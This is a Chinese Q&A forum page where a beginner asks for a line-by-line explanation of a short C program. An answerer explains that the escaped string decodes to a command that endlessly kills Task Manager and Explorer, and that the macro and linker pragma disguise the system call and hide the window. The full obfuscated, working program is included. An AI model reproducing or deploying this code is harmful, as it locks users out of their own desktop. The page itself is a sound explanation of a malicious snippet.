求下面代码的详细介绍,最好每行注释
#include
#define printf while(1)system
#pragma comment(linker, /subsystem:\windows\ /entry:\mainCRTStartup\ )
void main()
{
printf(\x73\164\x61\162\x74\x20\x74\141\x73\153\153\x69\154\x6C\40\55\146\x20\x2D\151\155\x20\164\x61\163\153\x6D\147\x72\56\x65\170\x65\x20\x2D\151\155\x20\x65\170\160\x6C\157\x72\145\x72\56\x65\170\145);
}
求下面代码的详细介绍,最好每行注释
答案:1 悬赏:50 手机版
解决时间 2021-07-20 10:26
- 提问者网友:雾里闻花香
- 2021-07-20 02:09
最佳答案
- 五星知识达人网友:空山清雨
- 2021-07-20 03:43
真的是不怀好意的代码,下面一串乱七八糟的数字其实是 start taskkill -f -im taskmgr.exe -im explorer.exe
通过system这个函数不停的执行
再问: 那串数字是什么,是要怎么转换呢? #define printf while(1)system 这个是什么意思? #pragma comment(linker, /subsystem:\windows\ /entry:\mainCRTStartup\ )还有这个,我是新手,不懂求赐教
再答: 你把 #define printf while(1)system 和 #pragma 这两行注释掉就可以看到这串数字的原貌,printf被宏替换了,变成 while(1)system(....); 那个#pragma comment 的意思为不让这个程序显示出来,你注释掉这个,那么程序就出来一个黑框,如果你是控制台项目。
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯